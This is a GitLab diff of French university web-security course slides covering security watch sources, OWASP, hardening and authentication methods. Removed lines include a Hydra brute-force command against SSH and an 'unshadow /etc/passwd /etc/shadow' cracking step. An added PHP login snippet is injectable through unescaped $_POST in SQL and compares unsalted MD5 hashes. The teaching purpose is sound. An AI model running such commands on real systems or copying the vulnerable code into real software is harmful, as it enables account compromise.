Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found

Target

Select target project
  • vimazeno/blog.limos.fr
  • matrossevi/blog.limos.fr
  • borlonjo/blog.limos.fr
3 results
Show changes
Showing
with 1768 additions and 433 deletions
content/slides/1337/images/xss/XSS-sitepiege.png

16.4 KiB

content/slides/1337/images/xss/XSS.png

21.9 KiB

content/slides/1337/images/xss/beef-webcam.jpg

250 KiB

content/slides/1337/images/xss/csp.png

43 KiB

content/slides/1337/images/xss/inspector.png

52.3 KiB

content/slides/1337/images/xss/redirect.png

25.8 KiB

content/slides/1337/images/xss/sop.png

19.3 KiB

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>JS</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/js.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Web Sec Lab</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/lab.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
# Anticiper
## aka le métier qui rentre ...
## Trouver des mentors
![Bruce Schneier quote](images/anticiper/Bruce-Schneier-Quotes-1.jpg "Bruce Schneier quote")
## Trouver des mentors
![Bruce Schneier quote](images/anticiper/Bruce-Schneier-Quotes-5.jpg "Bruce Schneier quote")
<i class="fa fa-quote-left"></i> la sécurité n'est pas un produit c'est un process <i class="fa fa-quote-right"></i> _Bruce Schneier_
## Organiser sa veille
* [CVE (Common Vulnerabilities and Exposures)](http://cve.mitre.org/index.html)
* MITRE est une société qui
* a lancé le projet CVE ("Common Vulnerabilities and Exposures")
* facilite l'échange d'information de sécurité
* maintient les ID de vulnérabilité
* [CVE Details](https://www.cvedetails.com/)
* custom RSS
## phpMyAdmin
![phpMyAdmin](images/anticiper/phpmyadmin-vuln.png "phpMyAdmin")<!-- .element width="90%" -->
Note:
- bien percé
- Ne pas trop exposer
- bien pratique
- Utiliser un client lourd
- MySQL Workbench
## Organiser sa veille
* [National Vulnerability Database - US](https://nvd.nist.gov/)
* [CERT EU](https://cert.europa.eu/cert/filteredition/en/CERT-LatestNews.html)
* [CERT FR](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html) - [archive 2015](http://www.cert.ssi.gouv.fr/site/2015index.html)
* [CERT RENATER](https://services.renater.fr/ssi/cert/index) - [sécurité](https://services.renater.fr/ssi/securite/index)
* et d'autres [CSIRT](http://www.cert.ssi.gouv.fr/cert-fr/cert.html)
## Organiser sa veille
* Sources reconnues
* [Bugtraq - Security Focus](http://www.securityfocus.com/bid)
* [Open Source Software Security Wiki](http://oss-security.openwall.org/wiki/)
* [<i class="fa fa-envelope"></i> Mailing list](http://oss-security.openwall.org/wiki/mailing-lists/oss-security)
* [<i class="fa fa-twitter"></i> openwall](https://twitter.com/openwall)
* [SecLists.Org Security Mailing List Archive](http://seclists.org/)
## Organiser sa veille
* Sources alternatives
* [Exploit Databse](https://www.exploit-db.com)
* [Shodan - Popular Searches](https://www.shodan.io/explore/popular)
* [Shodan - Recently Shared](https://www.shodan.io/explore/recent)
* Sources spécialisés
* [WPScan Vulnerability Database](https://wpvulndb.com/)
* [drupalexploit.com](http://www.drupalexploit.com/)
## Organiser sa veille
* <i class="fa fa-twitter"></i> twitter
* [<i class="fa fa-list-alt"></i> ma liste ssi-infosec-hack](https://twitter.com/mazenovi/lists/ssi-infosec-hack)
* <i class="fa fa-wordpress"></i> blog
* en anglais
* https://googleonlinesecurity.blogspot.fr/
* https://www.schneier.com/
* https://nakedsecurity.sophos.com/
Note:
- parler de netvibes et yahoo pipes (qui ets mort)
- considérer les solutions hébergées
## Organiser sa veille
* <i class="fa fa-wordpress"></i> blog
* en français
* http://www.bortzmeyer.org/
* https://reflets.info/
* http://zythom.blogspot.fr/
* http://www.nolimitsecu.fr
* http://news0ft.blogspot.fr
## Organiser sa veille
* autre ...
* en français
* http://www.security-feeds.com/
* http://vigilance.fr/
* http://www.datasecuritybreach.fr/
* http://www.zataz.com/
* http://www.globalsecuritymag.fr/
* http://assiste.com/
## OWASP
* depuis janvier 2001
* fondation Américaine
* [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29)
* en France
* Association loi 1901
* participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/)
* Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint)
* [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/)
## OWASP - Indépendance
* composé d'expert indépendants
* indépendant des fournisseurs de solution
* indépendant des gouvernements
* Les projets sont opensource
* nombreux adhérents
* entreprises
* institutions
* [individus](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit)
* [join now](http://myowasp.force.com/memberappregion): <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum
Note:
- le marché de la sécurité est blindé de commericaux
- et de conflit d'intérêt
## OWASP - Projets
!["OWASP Flagship mature project"](images/anticiper/Flagship_banner.jpg "OWASP Flagship mature project")<!-- .element width="70%"-->
!["OWASP Lab medium level project"](images/anticiper/Lab_banner.jpg "OWASP Lab medium level project")<!-- .element width="70%"-->
!["OWASP Low activity project"](images/anticiper/Low_activity.jpg "OWASP Low activity project")<!-- .element width="70%"-->
!["OWASP Incubator new projects"](images/anticiper/Incubator_banner.jpg "OWASP Incubator new projects")<!-- .element width="70%"-->
## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project)
* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project)
## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
* [OWASP Enterprise Security API](https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project)
* [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets)
* [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS)
* [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project)
* [and more ...](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
## [ANSSI](href="http://www.ssi.gouv.fr)
* organisme de
* [formation](http://www.ssi.gouv.fr/fr/anssi/formations/)
* sensibilisation / recommandation
* [guide d'hygiène informatique](http://www.ssi.gouv.fr/IMG/pdf/guide_hygiene_informatique_anssi.pdf)
* [Objectifs de sécurité (dans le cadre du plan vigipirate)](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/) et au niveau [OIV](http://www.ssi.gouv.fr/actualite/lanssi-sattele-aux-decrets-dapplication-de-la-lpm-portant-sur-la-protection-des-operateurs-dimportance-vitale/)
* [cybersécurité des système industriels](http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/recommandations-et-guides/securite-des-systemes-industriels/la-cybersecurite-des-systemes-industriels.html)
* [Sécuriser un site web](http://www.ssi.gouv.fr/guide/recommandations-pour-la-securisation-des-sites-web/)
* [Protéger son site Internet des cyberattaques](http://www.ssi.gouv.fr/actualite/proteger-son-site-internet-des-cyberattaques/)
## [ANSSI](href="http://www.ssi.gouv.fr)
* certfication
* [de produits de sécurité](http://www.ssi.gouv.fr/fr/produits-et-prestataires/produits-certifies-cc/)
* [de prestataires de services de confiance](http://www.ssi.gouv.fr/fr/produits-et-prestataires/prestataires-de-services-de-confiance-qualifies/)
* d'intervention / investigation
[<i class="fa fa-book"></i> La Stratégie nationale pour la sécurité du numérique : une réponse aux nouveaux enjeux des usages numériques](http://www.ssi.gouv.fr/actualite/la-strategie-nationale-pour-la-securite-du-numerique-une-reponse-aux-nouveaux-enjeux-des-usages-numeriques/)
Note:
- de la com pourrie aussi [HACK ACADEMY : DE DRÔLES DE HACKERS AU SERVICE DE LA PRÉVENTION](http://www.ssi.gouv.fr/actualite/hack-academy-de-droles-de-hackers-au-service-de-la-prevention/)
## Autres entités SSI françaises
* [OzSSI](http://www.ssi.gouv.fr/agence/cybersecurite/ozssi/)
* [Zomm sur les OzSSI](http://www.ssi.gouv.fr/actualite/zoom-sur-les-ozssi/)
* [OSSIR](http://www.ossir.org/)
* [CLUSIF](https://www.clusif.asso.fr/)
* [CLUSIR Rhône Alpes](http://www.clusir-rha.fr/)
* CLUSIR Auvergne?
## Best Practices / Cheat sheets / Checklists
* Généraliste
* http://www.sans.org/critical-security-controls/
* [The Joel Test: 12 Steps to Better Code](http://www.joelonsoftware.com/articles/fog0000000043.html)
* OWASP
* [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls)
* Linux
* https://www.sans.org/media/score/checklists/linuxchecklist.pdf
## Best Practices / Cheat sheets / Checklists
* Apache
* http://httpd.apache.org/docs/2.4/misc/security_tips.html
* http://geekflare.com/10-best-practices-to-secure-and-harden-your-apache-web-server/
* http://www.tecmint.com/apache-security-tips/
* http://blogs.reliablepenguin.com/2012/10/09/apache-configuration-best-practicies
## Best Practices / Cheat sheets / Checklists
* Nginx
* http://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html
* Wordpress
* http://mazenovi.github.io/blog/2015/01/28/securing-wordpress/
* Drupal
* https://www.drupal.org/project/security_review
#### Proposition d'Hervé Schauer
[HSC Newsletter](https://www.hsc.com.vn/en/help-center/other-services/hsc-newsletter) -- N°135
* Utilisez-vous systématiquement des requêtes SQL préparées (connues aussi sous le nom de requêtes paramétrées) ?
* Utilisez-vous la gestion de session d'un cadriciel/bibliothèque fiable ?
* Encodez-vous systématiquement les valeurs venant de l'extérieur (utilisateur, base de données...) avant de les envoyer vers l'affichage ?
* Utilisez-vous SSL/TLS sur la totalité de votre site ?
#### Proposition d'Hervé Schauer
* Stockez-vous et vérifiez-vous les mots de passe utilisateurs uniquement en les dérivant avec *sha256crypt*, *bcrypt*, *scrypt*, *pbkdf2(sha256)* ou *argon2*?
* Évitez-vous systématiquement d'utiliser les entrées utilisateurs pour des appels systèmes ?
* Stockez-vous les téléchargements utilisateurs vers l'application (uploads) dans un environnement restreint ?
#### Proposition d'Hervé Schauer
* Séparez-vous les paramètres secrets du code ?
* Faites-vous un suivi de version de tout votre code ?
* Gérez-vous vos dépendances et leur sécurité ?
Note:
- c'est le web beaucoup de gens ne savent pas ce qu'ils racontent ...
- faire marcher la tête et ne pas totu copier / coller sur un espace de prod
- pensez la sécurité au moment du choix du design pattern
## utiliser tls
* ne jamais utiliser FTP
* ftps et sftp fonctionnent parfaitement
* rsync et scp aussi
* chrooter un user ssh
* https://stdout.cowthink.org/setup-chroot-jails-in-linux-and-only-allow-sftp/
* généraliser l'utilisation d'https
* [Google favorise les sites en HTTPS, c'est un critère officiel du référencement naturel](http://www.webrankinfo.com/dossiers/conseils/https-critere-seo)
* désactiver les services de types POP3, IMAP, SMTP
* utiliser les versions SSLifiées
#### [ISPConfig](http://www.ispconfig.org/page/home.html)
![ISPConfig](images/anticiper/ispconfig.jpg "ISPConfig")
[tuto d'install](https://www.howtoforge.com/tutorials/ispconfig/)
Note:
- suExec, suPHP, chrooting avec jailkit, rkhunter
- [auto install](https://www.howtoforge.com/tutorial/ispconfig-install-script-debian/)
## Symfony
* A1
* ORM (Doctrine / Propel)
* SQLi
* librairie system / Service Parameters typés
* Command injection
* namespace / service
* LFI / RFI
## Symfony
* A2
* FOSUserBundle
* A3
* twig
* échappe par défaut
* A4
* security.yml
* Firewall donnant une vue globale sur la sécurité des objets
## Symfony
* A5
* configuration par défaut secure
* A6
* [igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
* A7
* système d'ACL
## Symfony
* A8
* système de jeton par défaut
* pour totue soumission de formulaire
* A9
* basé sur github & composer
* A10
* Service Parameters typés
## Parler sécurité
* Revue de code
* Rendre les checklists collaboratives
* Bug bounty
* <i class="fa fa-beer"></i> Bières, restos, sandwichs
* ce que font les grands
* google, FB, etc ...
* DevOps
* Be fullstack
* [Discuter les modèles (exposer ou cacher)](https://en.wikipedia.org/wiki/Open-source_software_security)
Note:
- si Microsoft ouvre tout ce n'est pas un hasard c'est que ca marche
#### Positiver
![Be positive](images/anticiper/bepositive.jpg "Be positive")<!-- .element width="50%" -->
Note:
- effort supplémentairer à moyen constant
- pas le choix sur la présentation
## Utiliser des outils de gestion de dépendance
* Bonne pratique
* permet d'éviter des problèmes de compatibilités
* permet une mise à jour globale
* permet un meilleur déploiement
* [composer](https://getcomposer.org/) (PHP)
* [bower](http://bower.io/) (Javascript client)
* [npm](https://www.npmjs.com/) (Javascript server)
* [pip](https://pypi.python.org/pypi/pip) (Python)
* [gems](https://rubygems.org/) (Ruby)
## Analyser le code
* pas d'outil miracle
* peut être dans les très spécialisés et les très chers?
* statique
* lecture du code
* grep -nR
* [netbeans](https://netbeans.org/downloads/)
* ctrl+clic
* [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
## Analyser le code
* dynamique
* exécution du code
* [OWASP Testing Project](https://www.owasp.org/index.php/OWASP_Testing_Project)
* ~ Fuzzing
* [XDebug](http://xdebug.org/)
* [KCacheGrinder](http://kcachegrind.sourceforge.net/html/Home.html)
* [BlackFiler Profiler](https://blackfire.io/)
Note:
- les outils de gestion de version rendent services
- long et souvent très spécialisé
## Tests & Intégration continue (CI)
* utiliser un outil de versionning
* [git](https://git-scm.com/), [svn](https://subversion.apache.org/), [mercurial](https://www.mercurial-scm.org/wiki/)
* rétrochronologie des vulnérabilités
* utiliser les environnements
* prod, dev, test, staging, deploy, ...
* les secrets de la CI
* [vault by HashiCorp](https://www.vaultproject.io/)
évite le leak de configuration
## Tests & Intégration continue (CI)
* tester
* intégrer la sécurité au tests
* aspect fonctionnel
* [behat](http://docs.behat.org/en/v2.5/)
* [casperjs](http://casperjs.org/) sur la base de [phantomjs](http://phantomjs.org/)
* [selenium](http://www.seleniumhq.org/)
* jouer les tests régulièrement via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ...
## Déploiement logiciel
* via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ...
* [githook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)
* [capistrano](http://capistranorb.com/)
* [capifony](http://capifony.org/)
* [<i class="fab fa-github"></i> capistrano/symfony](https://github.com/capistrano/symfony)
* [Fabric](http://www.fabfile.org/)
* bash <3
## filtrer
* [ngnix](http://nginx.org/)
* permet de filtrer rapidement et efficacement
* [Web application Firewal (WAF)](http://www.cert-ist.com/pub/files/Document_Cert-IST_000333.pdf)
* [mod_security](https://www.modsecurity.org/)
* permet entre autre de logger la méthode post facilement
* gare à l'espace disque
* [<i class="fab fa-github"></i> SpiderLabs/owasp-modsecurity-crs](https://github.com/SpiderLabs/owasp-modsecurity-crs)
* expressions régulières complexes
## Monitorer
* Avoir un outil d'analyse de log
* permet de connaître le bruit
* beaucoup d'attaques a priori
## Etudier des pistes radicales
* déporter le back office
* utiliser la génération de code
* [<i class="fab fa-github"></i> sculpin/sculpin](https://sculpin.io)
* [<i class="fab fa-github"></i> getpelican/pelican](https://github.com/getpelican/pelican)
* interdire l'upload de fichier
* utiliser markdown (pure) pour la mise en forme
* ou tout autre système de texte enrichi
* ne rien mettre sur le web
## S'entrainer
* jamais sur de la prod
* ni la vôtre
* ni celle des concurrents
* Challenges
* http://www.root-me.org/
* https://www.newbiecontest.org/
* https://github.com/ctfs
## S'entrainer
* VM
* http://www.bonsai-sec.com/en/research/moth.php
* http://sourceforge.net/projects/lampsecurity/
* http://hackxor.sourceforge.net/cgi-bin/index.pl
* http://sourceforge.net/projects/exploitcoilvuln/
* https://www.vulnhub.com/entry/metasploitable-1,28/
* http://sourceforge.net/projects/metasploitable/
## S'entrainer
* Weak apps
* http://sourceforge.net/projects/mutillidae/
* http://sechow.com/bricks/
* https://www.pentesterlab.com/
* http://hackingdojo.com/dojo-media/
## Conclusion
<div style="text-align: center">
![Conseil de Jedi](images/anticiper/yoda.gif "Conseil de Jedi")
</div>
## Conclusion
* <i class="fa fa-bullhorn"></i> une veille efficace tu maintiendras
* <i class="fa fa-bullhorn"></i> toutes les mises à jour asap tu effectueras
* <i class="fa fa-bullhorn"></i> toutes tes entrées tu filteras
* <i class="fa fa-bullhorn"></i> toutes tes sorties tu échapperas
* <i class="fa fa-bullhorn"></i> par listes blanches tu réfléchiras
* <i class="fa fa-bullhorn"></i> les bonnes pratiques tu étudieras
* <i class="fa fa-bullhorn"></i> un système fiable de déploiement tu utiliseras
* <i class="fa fa-bullhorn"></i> avec ton équipe de sécurité tu parleras
Note:
- cacher n'est pas protégé
## authentification
# authentification
"<i class="fa fa-wikipedia-w" aria-hidden="true"></i> processus permettant à un système de s'assurer de la légitimité de la demande d'accès faite par une entité (être humain ou un autre système...) afin d'autoriser l'accès de cette entité à des ressources du système (systèmes, réseaux, applications…) conformément au paramétrage du contrôle d'accès ."
"processus permettant à un système de s'assurer de la légitimité de la demande d'accès faite par une entité (être humain ou un autre système...) afin d'autoriser l'accès de cette entité à des ressources du système (systèmes, réseaux, applications…) conformément au paramétrage du contrôle d'accès ."
<i class="fa-brands fa-wikipedia-w"></i>ikipédia
## 3 concepts
### 3 concepts
* identification
* **authentification**
* ACL
## preuves
### preuves
* ce que je sais
* mot de passe, numéro d'identification personnel
* ce que je possède
* carte d'identité, carte à puce, droit de propriété, certificat électronique, diplôme, passeport, Token, Token OTP, périphérique
* ce que je suis
* photo, caractéristique physique, voire biométrie
* ce que je sais faire
* geste, signature
* **ce que je sais**: mot de passe, numéro d'identification personnel
* **ce que je possède**: carte d'identité, carte à puce, certificat électronique, Token, Token OTP, périphérique
* **ce que je suis**: photo, caractéristique physique, voire biométrie
* **ce que je sais faire**: geste, signature
# quelques techniques
## du world wide web
### A base de login / mot de passe
## apache & .htaccess
### apache & .htaccess
* [EnablingUseOfApacheHtaccessFiles](https://help.ubuntu.com/community/EnablingUseOfApacheHtaccessFiles)
* surcharge du vhost courant (déconseillé)
......@@ -52,7 +51,7 @@ Note:
- à creuser
## auth basic .htaccess
### auth basic / .htaccess
```
$ vi /var/www/http-basic/.htaccess
......@@ -71,7 +70,7 @@ $ htpasswd /var/www/http-basic/.htpasswd otheruser
```
## auth basic
### auth basic / requête
le client demande un contenu (protégé)
......@@ -86,7 +85,7 @@ Connection: keep-alive
```
## auth basic
### auth basic / réponse
le serveur répond que le contenu est protégé
......@@ -107,12 +106,12 @@ Content-Type: text/html; charset=iso-8859-1
```
## auth basic
### auth basic
![HTTP basic auth](images/authentication/http-basic-auth.png "HTTP basic auth")
## auth basic
### auth basic
```http
GET /http-basic/ HTTP/1.1
......@@ -130,7 +129,7 @@ Authorization: Basic b3dhc3A6cGFzc3dvcmQ=
[base64](https://fr.wikipedia.org/wiki/Base64)(username:password)
## auth digest
### auth digest
* Même schéma que la version Basic excepeté
* algorithme de hashage [MD5](https://fr.wikipedia.org/wiki/MD5) plutôt qu'un simple encodage [base64](https://fr.wikipedia.org/wiki/Base64)
......@@ -142,12 +141,12 @@ $ sudo service apache2 reload
```
## auth digest
### auth digest
!["Basic Digest Auth"](images/authentication/http-digest-auth.png "Basic Digest Auth")
!["Basic Digest Auth"](images/authentication/http-digest-auth.png "Basic Digest Auth")<!-- .element style="background-color: white" -->
## auth digest .htaccess
### auth digest / .htaccess
```
$ vi /var/www/http-digest/.htaccess
......@@ -168,7 +167,7 @@ htdigest /var/www/http-basic/.htdigest "authdigest" otheruser
```
## auth digest
### auth digest
* le client demande un contenu (protégé)
* le serveur répond que le contenu est protégé
......@@ -184,12 +183,12 @@ WWW-Authenticate: Digest realm="OwaspSample",
```
## auth basic
### auth digest
![HTTP digest auth](images/authentication/http-basic-auth.png "HTTP digest auth")
## auth digest
### auth digest
```http
GET /example/owasp/test.asmx HTTP/1.1
......@@ -220,34 +219,48 @@ Note:
- pas de blocage testable à l'infini
## authentification par formulaire
le plus courant
### authentification par formulaire
```
```html
<form method="POST" action="login">
<input type="text" name="username">
<input type="password" name="password">
</form>
```
```php
$connect = mysqli_connect("host","user","pwd", "db");
$result = $connect->query(
"SELECT password FROM user WHERE Username = '$_POST['username'];"
);
if(mysqli_num_rows($result) > 0 ){
$row = mysqli_fetch_assoc($result);
if($row["password"] == md5($_POST['password']))
{
echo "auth success";
}
}
echo "auth failed";
## authentification par formulaire
```
### authentification par formulaire
* le mot de passe est transmis en clair au serveur
* https :)
* stocker les mots de passe en clair sur le serveur est un mauvaise idée
* stocker les mots de passe en clair sur le serveur est une mauvaise idée
* [Rockyou.com en 2010](http://commedansdubeurre.ch/?story=162-piratage-de-32-millions-de-comptes-utilisateurs-chez-rockyou-recours-collectif-depose)
* stocker les hashés est une bonne pratique
* saler les hashés est encore mieux
## oAuth
### oAuth
![oAuth](images/authentication/oAuth.png "oAuth")
## oAuth
### oAuth
| Version | SSL | Token | Technique |
| ------- | ----------- | --------------- | ------------------------ |
......@@ -266,125 +279,40 @@ Note:
- confiance dans consumer (l'app qui demande l'autorisation)
## JWT
[![jwt auth](images/authentication/jwt-auth.png "jwt auth")<!-- .element style="width: 80%" -->](https://blog.ippon.fr/2017/10/12/preuve-dauthentification-avec-jwt/)
## force brute
* par dictionnaires
* liste d'utilisateurs + liste de mots de passe
* optimisable avec de la probabilité, [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt), de l'ingénieurie sociale, du flaire etc ...
* par recherche
* combinatoire
* hybride
* décliner via des règles les propositions d'un dictionnaire
* leetspeakation automatique
* [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username
## [THC Hydra](http://www.thc.org/thc-hydra/)
### SSO
* multi-protocole: IMAP, SMB, HTTP, VNC, MS-SQL MySQL, SMTP, SSH, VNC, Asterisk, ...
* [RTFM](https://github.com/vanhauser-thc/thc-hydra)
* [liste de usernames](https://raw.githubusercontent.com/maryrosecook/commonusernames/master/usernames.txt)
* [liste de mots de passe](https://wiki.skullsecurity.org/index.php?title=Passwords)
* [CAS](http://www.apereo.org/cas)
<pre>
<code data-trim class="hljs bash" style="font-size: 22px">
hydra 192.168.1.26 ssh2 -s 22 -P pass.txt -L users.txt -e nrs -t 10
</code>
</pre>
##### "Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content"
* attaque du protocole ssh sur le port 22
* 10 threads à la fois
* essaie toutes les combinaisons possibles entre les username de users.txt et les mots de passe de pass.txt
* + mot de passe vide
* + mot de passe = username
* + mot de passe = username à l'envers
* [OWASP - Testing for Brute Force](https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29)
* [Using Hydra to dictionary-attack web-based login forms](http://insidetrust.blogspot.fr/2011/08/using-hydra-to-dictionary-attack-web.html)
* voir aussi [medusa](http://foofus.net/goons/jmk/medusa/medusa.html)
Note:
- Burp Suite
- Patator
## attaques offline
* Dépend de la puissance de calcul
* Non furtive
* Reproductible
* [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/)
* monde windows
* fichiers SAM
* fonctionne avec des [dictionnaires](http://ophcrack.sourceforge.net/tables.php)
* <i class="fa fa-gift"></i> <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=224">obtenir le pass d'un compte windows en moins de 10 minutes</a><!-- tips: le xp free suffit -->
* [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/)
* [John the Ripper](http://www.openwall.com/john/)
* monde UNIX/BSD
* fichier /etc/passwd + /etc/shadow
* mangling rules: leet speak, custom ...
<pre>
<code data-trim>
unshadow /etc/passwd /etc/shadow > mypasswd
</code>
</pre>
* [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper)
* [keycloak](https://www.keycloak.org/)
* [OpenID](https://openid.net/)
* [SAML](https://fr.wikipedia.org/wiki/SAML) [Shibboleth](images/authentication/Shibboleth.png)
* [lemonldap-ng](https://lemonldap-ng.org/welcome/)
## attaques par tables arc-en-ciel
### JWT
* [Project RainbowCrack](http://www.antsight.com/zsl/rainbowcrack/)
* [CrackStation](https://crackstation.net/)
* avec la signature de smithy dans la table user
<pre>
<code data-trim>
5f4dcc3b5aa765d61d8327deb882cf99
</code>
</pre>
[![jwt auth](images/authentication/jwt-auth.png "jwt auth")<!-- .element style="width: 80%" -->](https://blog.ippon.fr/2017/10/12/preuve-dauthentification-avec-jwt/)
## 2AF
### 2FA
![Google Authenticator](images/authentication/google-authenticator.png)
https://www.google.com/landing/2step/
## Yubikey
### 2FA / Yubikey
[![Ubikey](../privacy/images/passwords/yubikey.png)](https://www.yubico.com/)
## SSO
![Shibboleth](images/authentication/Shibboleth.png)
"Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content"
## <i class="fa fa-medkit"></i> Se protéger
### <i class="fa fa-medkit"></i> Se protéger
* bien choisir son système d'authentification
* bien implémenter son système d'authentification
* [ESAPI (The OWASP Enterprise Security API)](https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
* libs & bundles éprouvés
* mettre un nombre d'essais maximum consécutifs
* plugin anti brute force
* wordpress
* drupal
* compléter par des restrictions par IP, voir par blocs d'IPs
* instaurer des règles de durcissement au moment du choix du mot de passe
* pas contournable côté client ;)
* sensibilisez vos utilisateurs
